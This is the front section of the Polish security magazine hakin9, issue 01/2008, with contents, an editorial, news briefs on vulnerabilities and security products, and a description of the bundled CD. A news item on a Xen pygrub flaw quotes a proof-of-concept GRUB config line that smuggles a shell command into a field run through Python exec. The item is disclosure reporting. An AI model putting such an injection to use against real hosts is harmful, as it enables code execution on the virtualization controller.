Hakin9 33 (01 2008) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 01/2008

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy najciekawsze wiadomości ze świata

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Recenzja Internet Security Suite

14

Recenzja Teleguard

15

Początki

Domeny – zagrożenia i ich skutki

16

Damian Daszkiewicz

Damian w swoim artykule opisuje jak przenieść domenę

do innego rejestratora oraz co to jest WHOIS.

Atak

Blind Attack

20

Konrad Malewski

Technika blind scanning pozwala na poznanie niektó-

rych parametrów połączenia zestawionego pomiędzy

dwoma maszynami w sposób, która nie kieruje podej-

rzeń w stronę źródła ataku.

Niebezpieczne nazwy plików

30

Michał 'Gynvael Coldwind' Składnikiewicz

Z artykułu dowiesz się, jakie są najczęstsze zaniedba-

nia w implementacji obsługi nazw plików otrzymanych

z zewnątrz.

Obliczenia pasożytnicze

36

Michał Styś

Michał w swoim artykule przedstawia sposoby wyko-

rzystania protokołów sieciowych do wykonywania

obliczeń na komputerach podłączonych do Sieci.

C#.NET. Podsłuchiwanie klawiatury

42

Sławomir Orłowski, Maciej Pakulski

Z tego artykułu dowiemy się jak działąją haki w sys-

temie Windows oraz jak możemy dodawać wpisy do

rejestru systemowego.

Witam!

Drodzy Czytelnicy, mam zaszczyt powitać Was w Nowym

2008 Roku! Mam nadzieję, że będzie on obfitował w moc

sukcesów i pomyślnych zdarzeń. Niech wirusy i robaki

omijają Wasze komputery, a producenci oprogramowania

dostarczają coraz to nowych i jeszcze szkuteczniejszych

rozwiązań zapewniających bezpieczeństwo.

Liczę także na to, że tak jak w poprzednim roku, rów-

nież i w tym spędzicie parę chwil na lekturze hakin9'u.

Zachęcam do tego tym bardziej, że przygotowaliśmy dla

Was wiele niespodzianek. Profesjonalne artykuły, cieka-

we wywiady, najlepsze programy antywirusowe, konkursy

z nagrodami oraz wiele innych.

Jedną z nowości, jest pomysł organizowania comie-

sięcznych spotkań z Naszymi Czytelnikami. Chcieliby-

śmy spotkać się z Wami, porozmawiać, usłyszeć opinie

na temat hakin9u – co moglibyśmy zmienić, jakie rzeczy

poprawić, co Wam się podoba w naszym magazynie?

Oczywiście, zachęcamy również do dzielenia się swoimi

przemyśleniami na temat pisma już teraz. Czekamy na

wiadomości. Chcemy, żeby hakin9 był jeszcze bardziej

profesjonalny, żebyście sięgali po niego z większą cieka-

wością, a przede wszystkim, żeby ta ciekawość została w

100% zaspokojona.

W tym numerze, przygotowaliśmy dla Was kilka nowych

artykułów w których znajdziecie wiele praktycznych infor-

macji o tym, jak skutecznie zapewnić bezpieczeństwo nie

tylko danym znajdującym się na dyskach Waszych kom-

puterów, ale także samym maszynom. Nie zapomnieli-

śmy też o stałych punktach programu. W magazynie, tra-

dycyjnie: wiadomości, recenzje książek – w tym miesią-

cu E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w

Sieci autorstwa Jonathana Reuvida oraz PHP Bezpieczne

Programowanie, którą napisał Chris Shiflett, a także opis

nowych narzędzi oraz płyta CD, na której oprócz progra-

mów znajdziecie kolejną część filmu instruktażowego na

temat ataku SQL Injection z użyciem Union Select.

Drodzy Czytelnicy, nie pozostaje mi nic innego, jak

zaprosić Was do lektury.

Barbara Czułada

background image

4

www.hakin9.org

hakin9 Nr 01/2008

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Fizyczne

bezpieczeństwo serwerów

50

Rafał Podsiadły

Nie wiesz jak fizycznie zabezpieczyć swój serwer,

jakich narzędzi użyć?

Heurystyka

w programach antywirusowych

58

Jakub Dębski

Artykuł Jakuba Dębskiego pokazuje czym jest heury-

styka w programach antywirusowych, jakie są rodza-

je wykorzystywanych heurystyk oraz przed jakimi pro-

blemami stają ich twórcy.

Bezpieczna Firma

Bezpieczeństwo teleinfomatyczne

danych niejawnych

66

Andrzej Guzik

Andrzej pokaże nam sposoby ochrony informacji nie-

jawnych przetwarzanych w systemach komputero-

wych i sieciach teleinformatycznych.

Księgozbiór

72

Recenzujemy książki E-biznes bez ryzyka. Zarządza-

nie bezpieczeństwem w Sieci, PHP Bezpieczne Pro-

gramowanie oraz Podstawy ochrony komputerów.

Wywiad

Wywiad z

Marcinem Piołunem-Noyszewskim

74

Katarzyna Juszczyńska

Rozmowa z prezesem firmy M2 NET, która jest nie-

zależnym producentem oprogramowania tworzącym

zaawansowane rozwiązania związane z bezpieczeń-

stwem i działalnością biznesową.

Felieton

Czy hakerzy są źli?

78

Rafał Bednarski

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy:
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czułada@software.com.pl

Wyróżnieni betatesterzy: Ewa Rutkowska, Marcin Kosedowski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 427 36 69

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 01/2008

McAfee przejmuje SafeBoot

Firma McAfee, światowy lider w dzie-

dzinie produktów antywirusowych,

zapór i programowych zabezpieczeń

internetowych, ogłosiła decyzję

o przejęciu holenderskiego producen-

ta systemów kontroli dostępu

i szyfrowania danych – firmy SafeBo-

ot. Oprogramowanie firmy McAfee

używane jest aktualnie na ponad

100 milionach komputerów, przeję-

cie SafeBoot pozwoli zaoferować ich

użytkownikom funkcjonalność szy-

frowania danych – dzięki aplikacji

Data Protection Suite, która pozwa-

la na szyfrowanie plików, katalogów

i całych partycji na wszelkiego typu

urządzeniach przenośnych, notebo-

okach i palmtopach. Kwota transakcji

wyniosła około 350 milionów dolarów,

jednak zakup SafeBoot nie jest jedy-

nym nabytkiem planowanym przez

McAfee w najbliższym czasie.

OpenBSD łata dziurę

w serwerze DHCP

Firma Core Security odkryła poważ-

ny błąd w zabezpieczeniach serwe-

ra DHCP wykorzystywanego

w wolno dostępnym systemie ope-

racyjnym OpenBSD 4.0, 4.1 oraz

4.2. Błąd jest o tyle poważny, że

atakujący, który ma dostęp do sieci

lokalnej, może przy użyciu odpo-

wiednio spreparowanego żąda-

nia DHCP unieruchomić dowol-

ną usługę. Specjaliści z Core Secu-

rity wykryli w funkcji cons_options

(

src/usr.sbin/dhcpd/options.c

)

błąd przepełnienia bufora. Warto też

przypomnieć, że ostatnio odkryto

podobny błąd także w oprogramo-

waniu serwera DHCP używanego

przez aplikacje do wirtualizacji firmy

Vmware.

NEC izoluje szkodliwy kod

F

irma NEC – międzynarodo-
we konsorcjum z sektora infor-

matycznego z siedzibą w Minato
w Japonii – opracowała nową tech-
nologię, która pozwala na wykry-
cie, odizolowanie i zatrzymanie
działania wirusa na poziomie rdze-
nia procesora. Technologia jest
o tyle ciekawa, że stworzona zosta-
ła dla procesorów wielordzenio-
wych, dzięki czemu nie przeszka-
dza w sprawnym działaniu całego
systemu. Głównym założeniem
nowej technologii jest uruchamia-
nie każdego programu w oddziel-
nym procesie na osobnych rdze-
niach wielordzeniowego CPU.
Ten innowacyjny pomysł inżynie-
rów firmy NEC skutecznie zapo-
biega rozprzestrzenieniu się szko-
dliwego kodu po całym systemie i

przedostanie się do sieci, a rdzeń,
w którym uruchamia się wirus,
zostaje chwilowo wyłączony. NEC
nie wymyślił jeszcze nazwy dla
swojej technologii. Technologię
można wykorzystać w telefonach
komórkowych, samochodach i naj-
prawdopodobniej w komputerach.

NEC Corporation to japońska

firma produkująca sprzęt kompu-
terowy, telekomunikacyjny, urzą-
dzenia elektroniczne i oprogra-
mowanie, między innymi notebo-
oki Versa oraz Lavie. NEC został
założony przez Kunihiko Iwadare
wraz z grupą współpracowników
w 1899 r. Jeden z założycieli
pochodził z USA.

Odkryto lukę w oprogramowaniu

wirtualizacyjnym Xen

J

oris van Rantwijk wykrył błąd
w środowisku wirtualizacji Xen,

umożliwiający użytkownikowi z upra-
wnieniami root’a w domenie gościa
wykonać dowolne polecenia w do-
menie 0, czyli w samym kontrolerze,
nadzorującym pracę środowiska wir-
tualizacji.

Bezpośrednim źródłem błędu

jest

skrypt

tools/pygrub/src/

GrubConf.py, który odczytuje dane
z pliku konfiguracyjnego GRUB’a
(boot/grub/grub.conf) i próbuje
ustawić odpowiednie parametry
używając funkcji exec bez popraw-
nego sprawdzania przekazywa-
nych parametrów.

Podczas kolejnego restartu odpo-

wiednio przygotowany plik konfigura-
cyjny może zostać wykorzystany do
przekazania poprzez skrypt działają-
cy w domenie 0 poleceń do shell’a
i ich wykonania.

Joris van Rantwijk w swoim

wpisie w Bugzilli na Xensource.com
zaprezentował przykładową linię
wywołania:

default "+str(0*os.system(
" insert evil command here "))+"

Błąd został znaleziony w wersji
3.0.3, starsze wersje również mogą
być podatne na ten rodzaj ataku.
Na chwilę obecną nie udostępniono
poprawki.

Xen to monitor maszyn wirtu-

alnych na licencji open source,
opracowany na Uniwersytecie Cam-
bridge i rozwijany przez firmę
XenSource.

Ma ono za zadanie obserwo-

wanie maszyn wirtualnych uru-
chomionych w jego środowisku
i dbanie o to, aby nie zakłócały one
wzajemnie swojej pracy i aby ich
równoczesne działanie nie obni-
żało w znaczący sposób wydajno-
ści systemu.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 01/2008

Oprogramowanie

Open Source

nie jest bezpieczne

Firma Fortify Software, zajmują-

ca się bezpieczeństwem i oferu-

jąca produkty chroniące bardzo

duże firmy przed największym

niebezpieczeństwem – czyli apli-

kacjami, które pracują wewnątrz

tych przedsiębiorstw – przygo-

towała ciekawy raport, z któ-

rego wynika, że hakerzy coraz

częściej używają aplikacji Open

Source do przeprowadzania

ataków. Przedstawiciel Forti-

fy Software, Brian Chess, twier-

dzi: Ten nowy rodzaj zagro-

żeń świadczy o tym, że hake-

rzy bardzo uważnie przygląda-

ją się procesowi powstawania

oprogramowania. Włamywacze

nadal wykorzystują luki w aplika-

cjach już dostępnych na rynku.

Coraz częściej jednak sami wpły-

wają na kształt nowego oprogra-

mowania, umieszczając w nim

luki, zanim jeszcze zostanie ono

ukończone.

51 poprawek Oracle'a

Oracle przedstawił zestaw

51 poprawek bezpieczeństwa.

Zamykają one między innymi

pięć poważnych luk, które można

wykorzystać do przeprowadze-

nia zdalnych ataków. Luki zna-

leziono w następujących pro-

duktach Oracle'a: Oracle Data-

base (27 poprawek), Oracle

Application Server (11 popra-

wek), Oracle E-Business Suite

(8 poprawek), Enterprise Mana-

ger Database Control (2 popraw-

ki), a także Peoplesoft Enterprise

(3 poprawki).

Bramka zabezpieczająca UTM

F

irma PLANET Technology,
globalny lider technologii sie-

ciowych opartych na protokole
IP, zaprezentowała nową bramkę
zabezpieczającą UTM o nazwie
CS-2000, w której zaadaptowano
algorytm analizy heurystycznej do
filtrowania poczty elektronicznej
pod kątem spamu i wirusów.

Samouczący się system potra-

fi podnosić swą efektywność
w identyfikacji spamu, a wbudowa-
ny twardy dysk o pojemności 80GB
zapewnia wystarczającą ilość miej-
sca dla maili poddanych kwaran-
tannie.

Mechanizm antywirusowy posia-

da dwa silniki skanujące: Clam oraz
Sophos, dzięki czemu jest w stanie
skutecznie zdiagnozować wirusy,

robaki i inne zagrożenia w poczcie
elektronicznej i przesyłanych z Inter-
netu plikach. Urządzenie przesyła
raporty dzienne, tygodniowe, mie-
sięczne i roczne poprzez e-mail, co
pozwala administratorowi na łatwe
monitorowanie statusu sieci.

CS-2000 – dzięki wbudowane-

mu firewall’owi i zabezpieczeniom
IDP – chroni również przed wła-
maniami hakerów i innymi atakami
płynącymi ze strony Internetu lub
intranetu.

Wbudowane dwa porty WAN

umożliwiają bramce balansowanie
obciążenia dla ruchu wchodzące-
go i wychodzącego oraz zapewnia-
ją ciągły dostęp do sieci WAN nawet
w wypadku awarii jednego z łącz.

Poprawki bezpieczeństwa

dla Asteriska 1.4

D

eweloperzy darmowego opro-
gramowania Asterisk, służą-

cego do obsługi systemów telefonii,
wydali nową wersję oznaczoną
numerkiem 1.4.13, w której usunię-
to dwa poważne błędy związane
z funkcjonowaniem poczty głosowej.
W kodzie podsystemu Voice-Mail
Asteriska, który korzysta z protoko-
łu IMAP, znaleziono poważną uster-
kę polegającą na niebezpiecznym
użyciu funkcji sprintf(). Usterka jest
bardzo poważna i pozwala na zawie-
szenie systemu lub wprowadzenie
do niego dowolnego kodu. Żeby błąd
wystąpił, napastnik musi spreparo-
wać nagłówki Content-Type i Con-
tent
-Description w taki sposób, aby
ich długość przekroczyła w sumie
1024 bajty. Zagrożone występo-
waniem błędów są jedynie wyda-
nia Asterisk Open Source o nume-
rze wersji mniejszym niż 1.4.13. Lukę
w Voice-Mail odkrył dostawca usług

z zakresu bezpieczeństwa, firma
Diginum. Asterisk został stworzony
przez Marc'a Spencer'a pod szyl-
dem firmy Digium. Z małymi wyjąt-
kami jest udostępniony na zasa-
dach Free software license. Obecnie
Asterisk może działać pod kontrolą
Windows, BSD i OS X, jednak jego
natywnym środowiskiem jest Linux,
i dla niego też zapewnione jest naj-
większe wsparcie. Asterisk jest
także macierzystym środowiskiem
protokołu wykrywania usług VoIP.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 01/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym

Ubuntu znajdziemy między innymi

środowisko GNOME w wersji

2.20, domyślnie włączone efekty

graficzne Compiz Fusion i zainsta-

lowaną wtyczkę Gnash do odtwa-

rzania animacji Flash. Ubuntu

Gutsy Gibbon zawiera jądro

2.6.22 i podsystem grafiki Xorg

7.3 z obsługą RandR 1.2 oraz

z xserver 1.4. Pojawiły się także

sterowniki do niektórych tzw. win-

modemów. Twórcy Ubuntu popra-

wi również system raportowa-

nia przy instalacji i aktualiza-

cjach pakietów, a także zgłaszania

padów jądra, które będą wyłapy-

wane podczas restartu.

Panda 2008 już w sprzedaży

W sprzedaży pojawiły się najnow-

sze rozwiązania przeznaczone do

ochrony komputerów firmy Panda

Security na rok 2008. Firma przy-

gotowała trzy zestawy produktów:

Panda Internet Security 2008,

program Panda Antivirus + Fire-

wall 2008 i samodzielną aplika-

cję antywirusową Panda Antivi-

rus 2008. Wszystkie produkty na

rok 2008 zawierają nowy model

ochrony megadetection, który

znacznie zwiększa wykrywalność

wirusów i innych zagrożeń.

Internet Explorer 7 dla każdego

G

igant z Redmond, firma Micro-
soft, udostępniła przeglądar-

kę Internet Explorer 7 wszystkim
chętnym, nie tylko właścicielom
oryginalnych kopii Windows. Dzi-
siejsza poprawka Installation and
Availability umożliwia pobranie
Internet Explorera 7 bez przecho-
dzenia WGA (Windows Genuine
Advantage). Przeglądarka będzie
dostępna dla wszystkich użytkow-
ników Windows XP
– czytamy na
firmowym blogu.

Przypomnijmy, że Windows Ge-

nuine Advantage (WGA) jest czę-
ścią inicjatywy Microsoft Genuine
Software Initiative, której zada-
niem jest udostępnianie aplika-
cji wyłącznie tym użytkownikom,
którzy posiadają oryginalne wersje
systemu operacyjnego Windows.
Firma z Redmond ujawnia, że zre-
zygnowała z WGA z powodów bez-
pieczeństwa: Bardzo zależy nam na
tym, by skutecznie chronić wszyst-
kich użytkowników, czyli cały 'eko-
system Windows' – dlatego też

postanowiliśmy rozszerzyć możli-
wość korzystania z IE7 na wszyst-
kie systemy Windows. Oznacza
to, że do zainstalowania najnow-
szej wersji naszej przeglądarki nie
będzie już niezbędne przeprowa-
dzenie weryfikacji legalności syste-
mu
– tłumaczy Steve Reynolds.

Tristan Nitot z Mozilli twier-

dzi, że udostępnienie przeglądar-
ki wszystkim użytkownikom Win-
dows jest spowodowane obawą
o utratę rynku. Myślę, że IE7 rozpo-
wszechnia się zbyt wolno, częścio-
wo ze względu na WGA
– stwier-
dził Nitot.

Linspire 6.0 z licencjami Microsoftu

U

kazała się najnowsza wersja
komercyjnego systemu ope-

racyjnego Linspire 6.0, bazujące-
go na Ubuntu Feisty Fawn. Linspi-
re 6 jest pierwszą wersją, która jest
objęta ochroną patentową wynika-
jącą z umowy z Microsoftem. Zało-
żeniem twórców było stworzenie
w pełni funkcjonalnego systemu
operacyjnego, który nie posiada
tak widocznych braków w oprogra-
mowaniu i funkcjach, jak w przy-
padku najpopularniejszych dar-
mowych dystrybucji Open Source.
Nowy Linspire oferuje domyślnie
zainstalowane kodeki do odtwa-
rzania filmów QuickTime, Windows
Media, Flash, Real oraz wspar-
cie dla formatu Microsoft Office
Open XML. Linspire 6 oferuje
dostęp do portalu CNR, z którego
można łatwo zainstalować ponad
20 tysięcy darmowych i płatnych
aplikacji, a oprócz tego znajdzie-
my w nim zestaw autorskich apli-

kacji – między innymi Lphoto
i Lsongs.Larry Kettler, dyrek-
tor generalny korporacji Linspire,
powiedział o najnowszym produk-
cie: Nadal kontynuujemy tradycję
Linspire, oferując jeszcze lepsze
możliwości nowym użytkowni-
kom systemu Linux. Linspire 6.0
pomniejsza przepaść między opro-
gramowaniem open source a ko-
mercyjnymi aplikacjami, łącząc
najlepsze cechy obu stron w jeden,
łatwy w użytkowaniu i produktywny
system operacyjny
.

background image

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 01/2008

Botnety lubią Linuksa?

Największy serwis aukcji interne-

towych na świecie, portal eBay,

planuje w niedługiej przyszło-

ści przekształcić swojego Pay-

Pal'a - system, który umożli-

wia wysyłanie i otrzymywanie

bezpiecznych płatności każde-

mu, kto jest posiadaczem konta

e-mail - w bezpieczny interneto-

wy bank. Dave Cullinane, który

jest główną osobą odpowiedzial-

ną za bezpieczeństwo IT w eBay,

podczas konferencji, która odbyła

się w Santa Clara, podzielił się

swoimi ciekawymi spostrzeże-

niami z czasów, gdy pracował

w Washington Mutual – jednym

z największych amerykańskich

banków. Cullinane mówił między

innymi o tym, że jego bank był

bardzo często atakowany przez

cyberprzestępców, a raz zdarzy-

ło się, iż przez cały miesiąc był

celem największego wówczas

ataku w USA. To była niezwykle

zaawansowana technika ataku,

a większość użytkowników nawet

nie zdawała sobie sprawy z faktu,

że ich komputer jest częścią bot-

neta. Odcinaliśmy poszczególne

maszyny, które zawierały phishin-

gowe oprogramowanie,

a ich użytkownicy nie mieli poję-

cia, że cyberprzestępcy wykorzy-

stują ich komputery. Wiele z nich

to były serwery należące do firm

i uczelni. Dave Cullinane stwier-

dził też, że: Zdecydowana więk-

szość szkodliwych witryn znaj-

dowała się na komputerach pra-

cujących pod kontrolą Linuksa,

co nas bardzo zdziwiło. Spodzie-

waliśmy się znacznej przewagi

maszyn, na ktorych zainstalowa-

ny był Windows, ale tym razem

było inaczej.

Wyeliminowano błąd w WinAmpie

W

ydano nową wersję popular-
nego odtwarzacza multime-

dialnego Winamp 5.5, która zawie-
ra poprawkę eliminującą błąd prze-
kroczenia zakresu liczby całkowi-
tej w module służącym do przetwa-
rzania danych zapisanych z uży-
ciem bezstratnego formatu audio
o nazwie FLAC. Problem jest na
tyle poważny, że po uruchomie-
niu odpowiednio spreparowanego
pliku Free Lossless Audio Codec
następuje przepełnienie bufora,
dzięki któremu włamywacz może
wykorzystać komputer użytkow-
nika do wykonania dowolnego
kodu. Wykryty błąd dotyczył wersji
Winampa 5.35 Full. Specjaliści
zalecają aktualizację do Winampa

5.5 albo ręczne usunięcie bibliote-
ki libFLAC.

eTokeny Aladdina zabezpieczają

telefony Virgin Mobile we Francji

A

laddin Knowledge Systems roz-
począł współpracę z siecią tele-

fonii komórkowej Virgin Mobile we
Francji. W wyniku zawartej umowy
ponad 3 tysiące dystrybutorów
w całym kraju zostało wyposażo-
nych w rozwiązania eToken. Virgin
Mobile udostępnia część swojego
systemu informatycznego stronom
trzecim. Odbywa się to za pośred-
nictwem Internetu i ma rozproszo-
ny charakter. W takich sytuacjach
palącą potrzebą jest właściwa
ochrona systemu i odpowiednie
zarządzanie dostępem do niego.
eTokeny poprzez zastosowanie
dwupoziomowego modelu uwie-
rzytelnienia wprowadzają wydaj-
ny i szczelny system zabezpieczeń.
Dodatkowo system TMS wspoma-
ga firmę w zarządzaniu infrastruk-
turą eTokenów
. – powiedział Shlomi
Yanai, wiceprezes firmy Aladdin.
Dzięki wyposażeniu dystrybuto-
rów w dwustopniowy klucz uwie-
rzytelnienia eTokenu NG-OTP, sieć
Virgin Mobile osiągnęła wysoki
poziom bezpieczeństwa aktywacji
telefonów w całej Francji – poprzez
zabezpieczenie przed nieautory-
zowanymi użytkownikami, którzy
mogliby zdobyć dostęp do danych

firmy. eToken NG-OTP to jeden
z najbardziej innowacyjnych rodza-
jów tokenów. NG-OTP jest bardzo
elastycznym i uniwersalnym urzą-
dzeniem wspierającym wiele rozwią-
zań do autoryzacji dostępu i współ-
pracuje z różnymi rodzajami sieci
oraz aplikacji. Aladdin Knowledge
Systems to izraelska firma infor-
matyczna, która powstała w 1985 r.
ptOd 1993 r. Aladdin specjalizuje
się w tworzeniu rozwiązań wspo-
magających zarządzanie dostępem
do oprogramowania (Digital Rights
Management, DRM) oraz zabezpie-
czanie go przed piractwem i niekon-
trolowanym wykorzystywaniem.

background image

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się haki-
n9.live
(h9l) w wersji 4.0.2 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,

tutoriale i materiały dodatkowe do artykułów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować się jako
użytkownik hakin9 bez podawania hasła.

Pełne wersje programów:

• DTweak,
• Novosoft Office Backup 2.2,
• Dr.Web for Windows File Servers (wersja 6-mie-

sięczna),

• System Safety Monitor (wersja 6-miesięczna),
• ArcaVir 2007 (wersja 3-miesięczna),
• Stellar Phoenix Windows Recovery.

Filmy instruktażowe:

• Drugi odcinek – Atak SQL Injection z użyciem Union

Select.

Kolejny odcinek z serii filmów instruktażowych przed-

stawiających najpopularniejsze metody ataków na
strony internetowe.

DTweak

Narzędzie poprawiające wydajność i wygląd systemów
z rodziny Windows. Działa w wersjach XP, 2003, Vista.
Dzięki wbudowanym funkcjom można w łatwy sposób
oczyścić dysk i rejestr ze zbędnych danych, zdefragmen-
tować zarówno dysk, jak i rejestr oraz zmienić wiele ukry-
tych w systemie opcji. Program został zaprojektowany
przede wszystkim dla Visty.

Przy rejestracji użyj zakładki Register for FREE Now,

wprowadź swoje imię i nazwisko oraz adres e-mail. Po
rejestracji wersja 10-dniowa stanie się wersją bez ograni-
czeń czasowych.

Novosoft Office Backup 2.2

Jedno z najlepszych narzędzi do tworzenia kopii zapa-
sowych. W łatwy sposób sporządzimy backup zdjęć,
dokumentów i wielu innych wartościowych dla nas pli-
ków. Oferuje dwa tryby tworzenia kopii: standardowy
i ekspercki. Istnieje możliwość filtrowania plików, kom-
presji, szyfrowania danych. Poza tym Office Backup
posiada rozbudowany system wtyczek pozwalających
na tworzenie kopii e-maili z różnych klientów poczto-
wych, danych przeglądarek WWW, komunikatorów,
menadżerów haseł itd. Potrafi także zsynchronizować

Zawartość CD

się z zewnętrznym serwerem FTP. Ważną funkcją jest
również planowanie automatycznego tworzenia kopii
zapasowych (dzienne, tygodniowe, miesięczne). Pro-
gram dokuje się w zasobniku systemowym, informu-
jąc przy pomocy swojej ikonki o statusie aktualnie wy-
konywanego zadania. Kopie zapasowe można bezpo-
średnio umieszczać na wielu różnych nośnikach, jak
np. HDD, płyty CD/DVD/HD/Blue-Ray, USB, LAN,
FTP itd. Poza tym mamy do dyspozycji obsługę skryp-
tów. Program został zaprojektowany dla systemów
z rodziny Windows w wersjach od 2000 do Vista.

Dr.Web for file servers

Windows NT/2000/2003

Produkt z rodziny Dr.Web przeznaczony do ochrony ser-
werów plików Windows NT/2000/2003.

Kluczowe funkcje:

• kontrola wszystkich operacji plikowych w czasie rze-

czywistym,

• dostępność trybów skanowania: w czasie rzeczywi-

stym, na żądanie, wg. terminarza,

• unikalna technologia zarządzania zasobami serwera

(odraczanie testowania plików otwieranych tylko do
odczytu),

• automatyczna aktualizacja,
• logowanie zdarzeń.

Unikalna technologia zarządzania zasobami, umożliwia-
jąca odroczenie testu plików otwartych tylko do odczy-
tu, pozwala na zapamiętywanie żądań dostępu do plików
przechowywanych na serwerze i testowanie ich w mo-
mencie zwolnienia zasobów systemowych. Dzięki temu
wydajność antywirusa Dr.Web jest ograniczona tylko wy-
dajnością chronionego serwera.

Dr.Web Anti-Virus poprawnie sprawdza różne ty-

py archiwów - skompresowane, wielowolumenowe
i samorozpakowujące się (SFX). Dodatkowo Dr.Web
sprawdza również pliki spakowane różnymi rodzaja-
mi pakerów.

Pliki czy aplikacje mogą zostać przetestowane

w poszukiwaniu wirusów i innego szkodliwego opro-
gramowania w locie (on-the-fly), na żądanie admi-
nistratora serwera lub poprzez zadanie terminarza
Dr.Web. Administrator może także ustawić automa-
tyczne reakcje antywirusa dla różnego rodzaju wykry-
tych zagrożeń.

Sama administracja nie jest skomplikowana, dzia-

łanie antywirusa jest praktycznie niezauważalne.

background image
background image

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

12

Wszystkie operacje wykonane przez antywirusa na pli-
kach znajdują odbicie w statystykach. Statystyki ska-
nowania dynamicznie pokazują czas operacji procesu,
ilość sprawdzonych plików, wykryte zagrożenia i inne
przydatne informacje.

Po instalacji pakietu Dr.Web Windows 2000/2003 Se-

rver zostaje automatycznie stworzone zadanie systemo-
we aktualizacji antywirusowych baz danych i innych pli-
ków pakietu.

System Safety Monitor

Narzędzie pozwala na śledzenie w czasie rzeczywi-
stym poczynań systemu operacyjnego Windows oraz
chroni przed niebezpiecznymi akcjami. Dzięki niemu
można kontrolować, które aplikacje zostaną urucho-
mione, a które nie, uniemożliwić dzieciom dostęp do
pewnych plików, zablokować instalację sterowników,
bibliotek, zabić lub zawiesić wybrany proces. Szcze-
gólnie chroniony jest rejestr, pliki INI, sterowniki, usługi
systemu oraz pliki przeglądarki Internet Explorer.

ArcaVir 2007

Program chroniący komputer przed złośliwym oprogra-
mowaniem (wirusy, trojany, dialery, rootkity itd.) oraz in-
nymi zagrożeniami wynikającymi z podłączenia kompu-
tera do Internetu.

W skład pakietu wchodzą następujące komponenty:

• skaner poczty – bada pocztę elektroniczną pod ką-

tem wirusów, robaków itp., współpracuje z każdym
programem pocztowym,

• skaner antywirusowy – dzięki niemu możemy wygod-

nie przeskanować odpowiednie, wybrane przez nas
zasoby komputera,

• monitor antywirusowy – na bieżąco kontroluje używane

przez nas pliki, jest czuły, szybki i – co zasługuje na po-
chwałę – nie obciąża zbytnio systemu operacyjnego,

• skaner HTTP – blokuje obiekty wykorzystujące proto-

kół HTTP do rozprzestrzeniania się,

• firewall – pozwala na kontrolę przepływu danych

przez nasz komputer z sieci i do sieci,

• silnik antywirusowy – wyposażony jest w pokaź-

nych rozmiarów bazę danych zawierającą informację
o wielu typach szkodliwego oprogramowania.

Warto zauważyć, że ArcaVir dobrze radzi sobie także
z phishingiem oraz programami spyware. Baza wirusów
aktualizowana jest na bieżąco. Oczywiście nie należy
mylić firewalla ze skanerem HTTP. Silnik ArcaVir opiera
się na systemie wtyczek, co oznacza, że w razie niebez-
pieczeństwa pojawienia się nowego zagrożenia, pakiet
zostanie automatycznie zaktualizowany, a nowa wtycz-
ka dodana do silnika. Pakiet bardzo dobrze współpracu-
